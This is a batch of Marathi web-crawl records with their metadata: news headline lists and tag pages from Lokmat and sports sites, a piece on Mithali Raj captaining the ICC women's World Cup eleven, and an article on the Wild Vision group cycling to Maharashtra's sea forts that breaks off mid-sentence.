तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00263.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "https://www.maayboli.com/taxonomy/term/19388", "date_download": "2018-09-25T17:55:07Z", "digest": "sha1:XM7CLJDZT5YU3ZN3A6SDAFS2DKOGWFEN", "length": 3319, "nlines": 83, "source_domain": "www.maayboli.com", "title": "फेसबुक भोंडला : शब्दखूण | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /फेसबुक भोंडला\nहे असंच टाइमपास म्हणून लिहिलं होतं कधी तरी. आज वत्सलानं आठवण करून दिली म्हणून रंगीबेरंगीवर टाकतेय.\nRead more about फेसबुक भोंडला\nतृप्ती आवटी यांचे रंगीबेरंगी पान\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00263.warc.wet.gz", "language": "mr", "language_score": 0.84, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/maharastra/dogs-attack-on-leopard-junner-291272.html", "date_download": "2018-09-25T17:37:33Z", "digest": "sha1:3QOEDJF5SD7U7LESLAC6HPZT5DLBZ2IK", "length": 1874, "nlines": 25, "source_domain": "lokmat.news18.com", "title": "Lokmat News - 'शिकारी खुद्द शिकार...', कुत्र्यांचा बिबट्यावर हल्ला–News18 Lokmat", "raw_content": "\n'शिकारी खुद्द शिकार...', कुत्र्यांचा बिबट्यावर हल्ला\nजखमी बिबट्याला माणिकडोह निवाराकेंद्रात उपचारासाठी घेऊन गेले.\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00264.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%AE%E0%A4%B0%E0%A4%BE%E0%A4%A0%E0%A4%BE-%E0%A4%AE%E0%A5%8B%E0%A4%B0%E0%A5%8D%E0%A4%9A%E0%A4%BE/news/page-7/", "date_download": "2018-09-25T16:52:25Z", "digest": "sha1:7B6TDRHICKAXRVJXDWLUBPEWVAPZ6BXS", "length": 9422, "nlines": 117, "source_domain": "lokmat.news18.com", "title": "मराठा मोर्चा- News18 Lokmat Official Website Page-7", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nनागपूरच्या हिवाळी अधिवेशनावर धडकणार मराठा मोर्चा\nपवारांचा भाजपवर 'सर्जिकल स्ट्राईक', इतका गवगवा कशाला\nदिवाळीआधी मराठा मोर्च्याची मुंबईत सांगता, मुख्यमंत्र्यांना विचारणार 3 प्रश्न \nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00264.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%AE%E0%A4%B9%E0%A4%BE%E0%A4%B5%E0%A4%BF%E0%A4%A4%E0%A4%B0%E0%A4%A3/", "date_download": "2018-09-25T17:49:20Z", "digest": "sha1:YLIXHKHBCV5SLFATW3YPZ2IQPDZ56L7I", "length": 12608, "nlines": 140, "source_domain": "lokmat.news18.com", "title": "महावितरण- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nVIDEO : विज कर्मचाऱ्यांवर गावकऱ्यांचा हल्ला\nनांदेड, 20 सप्टेंबर : नांदेडमध्ये महावितरणाच्या कर्मचाऱ्यांना गावकऱ्यांकडून बेदम मारहाण झालीय. धर्माबाद तालुक्यात विजचोरी पकडण्यासाठी गेलेल्या कर्मचाऱ्यांना गावकऱ्यांनीच मारहाण केलीय. महावितरणाकडून विशेष मोहीमेअंतर्गत 15 जणांचं पथक धर्माबाद तालुक्यातील विविध गावात कारवाया करत होतं. आकोडे टाकून वीज चोरी करणाऱ्यांवर कारवाई होत असताना काहींनी याला विरोध करून वाद घातला. तेव्हा 40 ते 50 गावकऱ्यांनी महावितरणच्या पथकातील अधिकारी आणि कर्मचाऱ्यांना मारहाण केली. यात सात कर्मचारी जखमी झालेत. त्यात एका महिलेचाही समावेश आहे. धर्माबाद पोलिसांनी 11 वीज चोरांविरोधात गुन्हा दाखल केलाय.\nवीज दरवाढीचा शाॅक ; शेती, उद्योगासह घरगुती वीज महागली\nवीज चोरी पकडली म्हणून इंजिनीयरला जिवंत जाळण्याचा प्रयत्न\nगणेशोत्सव बिनधास्त साजरा करा, राज ठाकरेंचं गिरगावकरांना आवाहन\nपुण्याचा वादग्रस्त नगरसेवक दीपक मानकर अखेर पुणे पोलिसांना शरण\nVIDEO : मराठा आरक्षणासाठी तरुण महावितरण टॉवरच्या टोकावर बसले\n'त्या' शून्य रुपये वीजबीलाचं कोडं उलगडलं, महावितरण म्हणतंय...\nका सुरू झालंय मुंबईत लोडशेडिंग\nमहावितरणच्या अभियंता आणि ग्राहकामध्ये फ्री-स्टाईल मारामारी\nमहाराष्ट्र Jan 15, 2018\nराज्यात लवकरच वीज दरवाढीचा शॉक; चंद्रशेखर बावनकुळे यांची माहिती\nमहाराष्ट्र Dec 7, 2017\nकोकणातल्या 'या' गावात 6 महिने वीज बिल आलंच नाही\nविजेच्या पोलवर काम करत होता कर्मचारी, वीज सुरू झाल्यामुळे मृत्यू\nऐन दिवाळीच्या तोंडावर महाराष्ट्राला भारनियमनाचा 'शॉक' \nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00264.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://mahasports.co.in/mithali-raj-chosen-as-world-cup-team-captain-by-icc/", "date_download": "2018-09-25T17:49:13Z", "digest": "sha1:QBTDQ25ACJFKBQTOZXH4ZSTY7ODOMYSR", "length": 8287, "nlines": 64, "source_domain": "mahasports.co.in", "title": "आयसीसी महिला क्रिकेट संघाची मिताली राज कर्णधार, तर... -", "raw_content": "\nआयसीसी महिला क्रिकेट संघाची मिताली राज कर्णधार, तर…\nआयसीसी महिला क्रिकेट संघाची मिताली राज कर्णधार, तर…\nआंतरराष्ट्रीय क्रिकेट कॉऊंसिल अर्थात आयसीसीने महिला विश्वचषकातील सर्वोत्तम ११ खेळाडूंची यादी घोषित केली आहे. त्यात भारतीय संघातील ३ खेळाडूंचा समावेश आहे.\nया संघाचं नेतृत्व भारताची कर्णधार मिताली राजकडे देण्यात आले आहे. तर अन्य खेळाडूंमध्ये हरमनप्रीत कौर आणि दीप्ती शर्मा या भारतीय खेळाडूंचा समावेश आहे.\nसलामीवीर म्हणून इंग्लंडच्या तामसीन बोमोंट (४१० धावा ) आणि दक्षिण आफ्रिकेच्या लॉरा वोल्वर्डत (३२४ धावा ) यांचा समावेश करण्यात आला आहे.\nतिसऱ्या क्रमांकासाठी भारतीय कर्णधार राजचा (४०९ धावा ) समावेश करण्यात आला आहे. मितालीकडेच या संघाचे नेतृत्व देण्यात आले आहे.\nइल्लीसे पेरी या ऑस्ट्रेलियाच्या खेळाडूचा समावेश करण्यात आला आहे. तिने ४०४ धावा या स्पर्धेत केल्या आल्या आहेत तसेच ९ विकेट्स घेतल्या आहेत.\nयष्टीरक्षक म्हणून अपेक्षितपणे इंग्लंडच्या सारा टेलरचा समावेश केला आहे. ४ झेल आणि २ यष्टिचित बरोबर तिने ३९६ धावा देखील केल्या आहेत. स्पर्धेत अंतिम चरणात अर्थात उपांत्यफेरी आणि अंतिम फेरीत चमक दाखवणाऱ्या हरमनप्रीत कौरचा ६व्या क्रमांकासाठी समावेश करण्यात आला आहे. तिने ३५९ धावा करताना ५ बळी देखील मिळवले आहे.\nतिसऱ्या भारतीयाच्या रूपाने दीप्ती शर्माला या या संघात स्थान देण्यात आले आहे. या अष्टपैलू खेळाडूने २१६ धावा आणि १२ बळी स्पर्धेत घेतले आहेत.\nसंघात गोलंदाज म्हणून दक्षिण आफ्रिकेच्या मारिझनने कप्प (१३ बळी ), डने वॅन निएकेरक (१५ बळी आणि ९९ धावा ), अन्या श्रुबसोले (१२ बळी ) आणि अॅलेक्स हार्टली (१० बळी यांचा समावेश करण्यात आला आहे.\n१२व्य खेळाडूच्या जागी इंग्लंडची नताली स्किव्हर हीच समावेश करण्यात आला आहे. तिने स्पर्धेत ७ बळी आणि ३६९ धावा केल्या आहेत.\nअखेर रविंद्र जडेजाने तो सचिन तेंडुलकरचा विक्रम मोडलाच\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00264.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/3185d727ee/state-efforts-to-protect-the-historic-grandeur-39-wild-vision-39-", "date_download": "2018-09-25T17:55:06Z", "digest": "sha1:KZZS4KICNHLRDZHYPEQMWRPIY3OQBW5T", "length": 30085, "nlines": 91, "source_domain": "marathi.yourstory.com", "title": "महाराष्ट्राचे ऐतिहासिक वैभव जपण्यासाठी प्रयत्नशील ‘वाईल्ड विजन’", "raw_content": "\nमहाराष्ट्राचे ऐतिहासिक वैभव जपण्यासाठी प्रयत्नशील ‘वाईल्ड विजन’\nमहाराष्ट्रातील किल्ले म्हणजे महाराष्ट्राचे वैभव. मराठ्यांच्या गौरवशाली इतिहासाची साक्ष. महाराष्ट्राचे अस्तित्व टिकविण्यात मोलाची साथ दिलेल्या या ऐतिहासिक वास्तूंकडे महाराष्ट्राच्या भूमीपुत्राचे मात्र दिवसेंदिवस दुर्लक्ष होत चालले आहे. मराठ्यांचा इतिहास सांगून मानाने मिरविणारे, मराठ्यांच्या शौर्याचे मेसेज वॉट्सऍपवरुन क्षणार्धात फॉरवर्ड करुन अभिमानाने छाती फुगविणारे आजचे मर्द मराठे प्रत्यक्षात या ऐतिहासिक ठेव्याबाबत मात्र असंवेदनशील असलेलेच अधिक दिसतात. ऐतिहासिक स्थळी बेपर्वाईने कचरा टाकणे असो, किल्ल्यांच्या तटबंदी आणि बुरुजावर प्रेमीयुगुलांनी आपले नाव लिहिणे असो अथवा ऐतिहासिक ठिकाणी दारु पिऊन पिकनिक करणे, दारुच्या बाटल्यांसह फोटो काढणे, बाटल्या तिथेच सोडून जाणे असे प्रकार असो, या सगळ्यावरुन एक गोष्ट प्रकर्षाने जाणवते ती म्हणजे ऐतिहासिक ठिकाणांचे महत्त्व आता अनेकांसाठी केवळ एक पिकनिक पॉईण्ट एवढेच राहिलेले आहे. अशातच या ठिकाणांकडे पुरातत्व खात्याचे होणारे दुर्लक्ष हे अशा प्रवृत्तींना खतपाणी घालणारे ठरतेय.\nकिल्ल्यांबाबत जर कुणाला मनापासून कळवळा वाटत असेल आणि यासाठी कोणी काही करत असेल तर त्या असतात ऐतिहासिक ठेव्याचे जतन करण्यासाठी कार्यरत स्वयंसेवी संस्था आणि ट्रेकर्स, माऊंटेनर्सचे काही ग्रुप. अशांपैकीच एक म्हणजे सुशांत करंदीकर यांचा ‘वाईल्ड विजन’ हा ग्रुप. ‘वाईल्ड विजन’ हा माऊंटन बायकिंग करणारा म्हणजेच सायकलिंग करुन डोंगर पार करणाऱ्या हौशी सायकलस्वार ट्रेकर्सचा महाराष्ट्रातील एकमेव ग्रुप आहे.\n‘वाईल्ड विजन’ने आपले सायकलिंगचे वेड जपत सागरी किल्ल्यांची सद्यस्थिती जगासमोर आणण्याच्या मोहिमेने २०१६ या नववर्षाची सुरुवात केली. त्याकरिता २५ डिसेंबर ते ३१ डिसेंबर २०१५ या सात दिवसात त्यांनी सायकलिंग करत एकूण ११ सागरी किल्ल्यांना भेट दिली. या मोहिमेदरम्यान त्यांनी या किल्ल्यांवरील सद्यस्थिती कॅमेराबद्ध केली आहे. जी सोशल मीडियाच्या आणि यू ट्युबच्या माध्यमातून जगासमोर आणण्याची त्यांची योजना आहे.\nबी.कॉम ग्रॅज्युएट असलेल्या सुशांत यांना पहिल्यापासूनच ट्रेकिंगचे वेड. १९९८ सालापासून त्यांनी ट्रेकिंगला सुरुवात केली. पारंपरिक नोकरी करण्यात काहीही रस नसलेल्या सुशांत यांनी आपली आवड असलेल्या ट्रेकिंगमध्येच करिअर करायचे ठरविले आणि १८ वर्ष एका ग्रुपबरोबर काही कंपन्यांसाठी कामही केले. त्यानंतर २०११मध्ये त्यांनी ‘वाईल्ड विजन’ नावाने स्वतःचा ग्रुप तयार केला. या ग्रुपद्वारे वर्षभर सर्व वयोगटातील लोकांसाठी विविध प्रकारचे साहसी उपक्रम राबविले जातात. गिर्यारोहण, सायकलस्वारी, जंगल सफारी आणि ट्रेकिंग, रॅपलिंग, रिव्हर राफ्टींगसारख्या साहसी उपक्रमांबरोबरच कॉर्पोरेट ट्रेनिंग प्रोग्रॅम आणि चिल्ड्रन कॅम्पही आयोजित केले जातात.\nसुशांत सांगतात, “सामान्यतः ऍडवेंचर ऍक्टीविटीज या केवळ तरुण मुलांसाठीच असतात असा सर्वसामान्य समज आहे. पण असं काही नाही. पाच वर्षांपूर्वी ५६ वर्षांचे एक गृहस्थ आमच्याबरोबर आले होते. अनेकदा कठीण कठीण ट्रेक सायकलिंग करत पार करण्याच्या आमच्या मोहिमांमध्ये मुलीही सहभागी झाल्या आहेत. अर्थात त्या मुलींच्या कुटुंबियांनी त्यांना परवानगी दिली ही कौतुकाची बाब आहे. आम्ही महिला दिनानिमित्त खास महिलांसाठीही उपक्रम राबविले आहेत. त्यालाही चांगला प्रतिसाद लाभला. लहान मुलांसाठीही खास ऍडवेंचर ऍण्ड फन कॅम्प आम्ही आयोजित करतो. लहान मुलांना त्यांच्या आयुष्यात अशा उपक्रमांचा खूप फायदा होतो. मी पालकांना आवर्जून सांगतो की गिर्यारोहणाचा बेसिक कोर्स २८ दिवसांचा असतो. त्यामुळे २८ दिवसात शिकवली जाणारी गोष्ट कॅम्पमध्ये मुलं एका दिवसात शिकतील असं मुळीच नाही. मात्र आजकाल सिंगल चाइल्डच्या जमान्यात गॅजेटमध्ये रमणाऱ्या मुलांना या कॅम्पमुळे निसर्ग समजेल, आव्हान पेलण्याची ताकद त्यांच्यामध्ये निर्माण होईल, चार लोकांशी मिळून मिसळून वागणं शिकता येईल, ती दुसऱ्यांशी संवाद साधायला शिकतील, स्वावलंबी होतील. मोठे झाल्यावर प्रॅक्टीकल आयुष्य जगताना त्यांना या गोष्टी कामी येतील. त्याशिवाय असे कॅम्प आयोजित करण्यामागे मुलांचा फिजीकल फिटनेस हा आमचा मुख्य उद्देश्य असतो.”\nसतत कामामध्ये व्यस्त असणाऱ्या कॉर्पोरेट्सना साहसी उपक्रमांच्या माध्यमातून ट्रेनिंग देताना जगण्यासाठी आणि काम करण्यासाठी नवी ऊर्जा मिळवून देणे असो किंवा लहानमुलांमध्ये कॅम्पच्या माध्यमातून चांगले गुण रुजविणे असो, ‘वाईल्ड विजन’ प्रत्येकवेळी एक चांगले उद्दीष्ट साध्य करण्यासाठी प्रयत्नशील दिसते. १५ वर्षांपूर्वी किल्ल्यांच्या सफाईचे काम ‘वाईल्ड विजन’द्वारे केले जायचे. मात्र हळूहळू ग्रुपमधील काही सदस्य कामानिमित्त दुसऱ्या शहरात गेले, मुलींनी लग्न झाल्यावर ग्रुप सोडला. यामुळे टीम छोटी झाली. त्यामुळे आता किल्ल्यांच्या देखभालीसाठी प्रत्यक्ष काही करता येत नसले तरी सागरी किल्ल्यांविषयीची मोहिम राबवून या किल्ल्यांच्या सद्यस्थितीकडे लोकांचे आणि सरकारचे लक्ष वेधण्यासाठी ‘वाईल्ड विजन’ पुढे सरसावली आहे.\nसुशांत यांना ट्रेकिंग बरोबरच सायकलिंगचीही आवड आहे. आतापर्यंत त्यांनी जवळपास ७५ हजार किलोमीटरपेक्षा जास्त सायकलिंग केले आहे. “१९९४ साली एकदा सहज माझ्या मनात आलं की सायकलिंग करत हरिश्चंद्रगडावर जायचं आणि एका मित्राला सोबत घेऊन मी हा विचार यशस्वीरित्या प्रत्यक्षात उतरवला. माझ्याकडून याचा थरारक अनुभव ऐकल्यावर माझ्या आणखी दोन मित्रांनी माऊंटन बायकिंग करुन हरिश्चंद्रगडावर जायची इच्छा व्यक्त केली. ३१ डिसेंबर २००१ ला हरिश्चंद्र गडाला भेट देऊन येणारं नववर्ष किल्ल्यावर साजरं करायचं असं आम्ही ठरवलं आणि तेव्हापासून सतत १५ वर्ष आम्ही नवीन वर्षाची सुरुवात माऊंटन बायकिंग करत विविध किल्ल्यांना भेट देऊन केली. दहाव्या वर्षी आम्ही एकूण १० किल्ल्यांना सायकलस्वारी करुन भेट दिली. गेल्या १५ वर्षात आम्ही जवळपास ६७ किल्ले सायकलिंग करुन फिरलो. १४ वर्ष आम्ही ज्या किल्ल्यांना भेट दिली त्यामध्ये अनेक गडकोट, भुईकोट होते. तिथली बरीच माहिती आम्हाला आहे. त्यामुळे आमच्या या वर्षीच्या मोहिमेसाठी आम्ही सागरी किल्ल्यांची निवड केली आणि नववर्षाची सुरुवात २१ सागरी किल्ल्यांना सायकलिंग करत भेट देऊन करायची असं ठरवलं. या मोहिमेदरम्यान आम्ही ४०० किलोमीटर सायकलिंग केलं. मात्र काही अडथळ्यांमुळे आम्ही केवळ ११ किल्ल्यांना भेट देऊन परतलो,” असं सुशांत सांगतात.\nसागरी किल्ल्यांच्या मोहिमेवर सुशांत यांच्याबरोबर त्यांचे दोन मित्र विकास चव्हाण आणि कृष्णा नाईक होते. या तिघांनी २५ डिसेंबरला कल्याणहून आपल्या मोहिमेला सुरुवात केली आणि ३१ डिसेंबरच्या संध्याकाळी ते परतले. द्रोणागिरीपासून सुरुवात करुन, खांदेरी-उंदेरी, अलिबाग किल्ला, कोरलाई, रेवदंडा, मुरुड-जंजिरा, बाणकोट, सुवर्णदुर्ग, कणकदुर्ग, गुहागर जवळचा गोपाळगड आणि जयगड या 